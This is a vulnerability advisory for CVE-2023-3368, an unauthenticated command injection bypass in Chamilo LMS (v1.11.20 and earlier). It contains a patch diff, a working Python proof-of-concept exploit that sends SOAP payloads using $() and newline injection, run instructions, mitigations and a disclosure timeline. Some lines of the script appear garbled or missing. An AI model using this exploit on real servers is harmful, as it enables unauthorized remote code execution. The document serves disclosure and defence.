Product Chamilo
Vendor Chamilo
Severity High - Adversaries may exploit software vulnerabilities to obtain unauthenticated remote code execution.
Affected Versions <= v1.11.20
Tested Versions v1.11.20 (latest version as of writing)
CVE Identifier CVE-2023-3368
CVE Description Command injection in /main/webservices/additional_webservices.php in Chamilo LMS <= v1.11.20 allows unauthenticated attackers to obtain remote code execution via improper neutralisation of special characters. This is a bypass of CVE-2023-34960.
CWE Classification(s) CWE-78: Improper Neutralization of Special Elements used in an OS Command
CAPEC Classification(s) CAPEC-88 OS Command Injection

CVSS3.1 Scoring System

Base Score: 9.8 (Critical)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:N/C:H/I:H/A:H

Metric Value
Attack Vector (AV) Network
Attack Complexity (AC) Low
Privileges Required (PR) None
User Interaction (UI) None
Scope (S) Unchanged
Confidentiality (C) High
Integrity (I) High
Availability (A) High

Product Overview

Chamilo is an open-source PHP-based Learning Management System (LMS) that facilitates online education and training. It offers features such as course creation, content management, assessments, collaboration and delivering educational resources.

Vulnerability Summary

The patch for CVE-2023-34960 (unauthenticated command injection) is insufficient, allowing for multiple bypasses of the sanitisation applied to user input used in constructing shell commands. Consequently, unauthenticated attackers may exploit the vulnerability to gain remote code execution.

Note: The original vulnerability (CVE-2023-34960) was found to be exploited in the wild. As such, we strongly recommend Chamilo users to apply the latest security patches to mitigate this and 9 other high-severity vulnerabilities reported by STAR Labs.

Vulnerability Details

Chamilo maintainers applied the following patch to main/webservices/additional_webservices.php in an attempt to address CVE-2023-34960:

 main/inc/lib/security.lib.php               | 10 ++++++++++
 main/webservices/additional_webservices.php | 11 +++++++----
 2 files changed, 17 insertions(+), 4 deletions(-)

diff --git a/main/inc/lib/security.lib.php b/main/inc/lib/security.lib.php
index ac1b90e5618..c6490c5b1e2 100755
--- a/main/inc/lib/security.lib.php
+++ b/main/inc/lib/security.lib.php
@@ -632,4 +632,14 @@ private static function generateSecTokenVariable(string $prefix = ''): string
         return $prefix.'_sec_token';
+    /**
+     * Sanitize a string, so it can be used in the exec() command without
+     * "jail-breaking" to execute other commands.
+     * @param string $param The string to filter
+     * @return string
+     */
+    public static function sanitizeExecParam(string $param): string
+    {
+        return preg_replace('/[`;&|]/', '', $param);
+    }
diff --git a/main/webservices/additional_webservices.php b/main/webservices/additional_webservices.php
index effb6ccdf5c..965825bbcc0 100755
--- a/main/webservices/additional_webservices.php
+++ b/main/webservices/additional_webservices.php
@@ -29,10 +29,13 @@ function wsConvertPpt($pptData)
     $fileData = $pptData['file_data'];
-    $dataInfo = pathinfo($pptData['file_name']);
-    $fileName = basename($pptData['file_name'], '.'.$dataInfo['extension']);
-    $fullFileName = $pptData['file_name'];
-    $size = $pptData['service_ppt2lp_size'];
+    // Clean filename to avoid hacks. Prevents "&" and ";" to be used in filename, notably
+    $sanitizedFileName = Security::sanitizeExecParam($pptData['file_name']);
+    $dataInfo = pathinfo($sanitizedFileName);
+    $fileName = basename($sanitizedFileName, '.'.$dataInfo['extension']);
+    // Add additional cleaning of .php and .htaccess files
+    $fullFileName = Security::filter_filename($sanitizedFileName);
+    $size = Security::sanitizeExecParam($pptData['service_ppt2lp_size']);
     $w = '800';
     $h = '600';
     if (!empty($size)) {

However, on closer scrunity, it is clear that the sanitisation performed by Security::sanitizeExecParam() is insufficient – only certain shell meta-characters (backticks, semi-colons, ampersand, and pipe characters) are removed from the user input used in constructing a shell command.

This means that the following techniques will still allow for command injection payloads to work just fine:

  • Using $() command substitutions
  • Injecting newlines in the shell commands to be executed, causing each line to be treated as separate shell commands to be executed.

The command injection subsequently happens below:

    $cmd = pptConverterGetCommandBaseParams();
    $cmd .= ' -w '.$w.' -h '.$h.' -d oogie "'.$tempPath.$fullFileName.'"  "'.$tempPathNewFiles.$fileName.'.html"';
    $shell = exec($cmd, $files, $return);

Exploit Conditions

No additional constraints were identified. An unauthenticated attacker is expected to be able to execute this exploit scenario reliably.


  1. Save the following proof-of-concept exploit script as
#!/usr/bin/env python3
import argparse
import requests

SOAP_REQUEST_TEMPLATE = '''<?xml version="1.0" encoding="UTF-8"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="" xmlns:ns1="{url}" xmlns:xsi="" xmlns:xsd="" xmlns:ns2="" xmlns:SOAP-ENC="" SOAP-ENV:encodingStyle=""><SOAP-ENV:Body><ns1:wsConvertPpt><param0 xsi:type="ns2:Map"><item><key xsi:type="xsd:string">file_data</key><value xsi:type="xsd:string"></value></item><item><key xsi:type="xsd:string">file_name</key><value xsi:type="xsd:string">{payload}</value></item><item><key xsi:type="xsd:string">service_ppt2lp_size</key><value xsi:type="xsd:string">720x540</value></item></param0></ns1:wsConvertPpt></SOAP-ENV:Body></SOAP-ENV:Envelope>

def execute_command(url, command, technique):
    payload = f'$({command})' if technique == 'substitution' else f""""\n{command}\n"""
    data = SOAP_REQUEST_TEMPLATE.format(url=url, payload=payload)

        response ='{url}/main/webservices/additional_webservices.php', data=data, headers={'Content-Type': 'application/xml'})
        return (response.status_code == 200 and "wsConvertPptResponse" in response.text)
        return False

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', help='Url of your Chamilo', required=True)
    parser.add_argument('-c', '--command', help='Command to execute', required=False)
    parser.add_argument('-t', '--technique', default='substitution', choices=['substitution', 'newline'], help='Command to execute', required=False)

    args = parser.parse_args()

    if args.command is None:
        if execute_command(args.url, 'id', args.technique):
            print(f'URL vulnerable: {args.url}')
            print(f'URL not vulnerable: {args.url}')
        if execute_command(args.url, args.command, args.technique):
            print(f'Command executed: {args.command}')
            print(f'An error has occured, URL is not vulnerable: {args.url}')

if __name__ == '__main__':
  1. Run the exploit script using python3 http://<target-chamilo>:<port> -c '<command>'. For example, the following command saves the id shell command output to /tmp/pwned on the target:
    $ python3 -u http://chamilo -c 'id > /tmp/pwned'
  2. On the target, verify that the /tmp/pwned file exists after executing the proof-of-concept exploit script:
    $ cat /tmp/pwned
    uid=33(www-data) gid=33(www-data) groups=33(www-data)

Suggested Mitigations

It is recommended to use escapeshellarg() to properly escape user-input used to construct shell commands, as well as remove dollar signs ($) and newlines (\n) in Security::sanitizeExecParam() as well.

End users are encouraged to update to the latest version of Chamilo.

Detection Guidance

It is possible to detect the exploitation of this vulnerability by checking the server’s access logs for all requests made to /main/webservices/additional_webservices.php.


  • 2023-07-05 Vendor Disclosure
  • 2023-07-06 Initial Vendor Contact
  • 2023-07-18 Vendor published the vulnerability sumamry
  • 2023-07-17 Mutual agreement to delay the publication of vulnerability details was reached in light of the recent in-the-wild exploitation of Chamilo N-day vulnerability (CVE-2023-34960)
  • 2023-08-03 Vendor Patch Release (v1.11.22) completely fixing vulnerability
  • 2023-11-28 Public Disclosure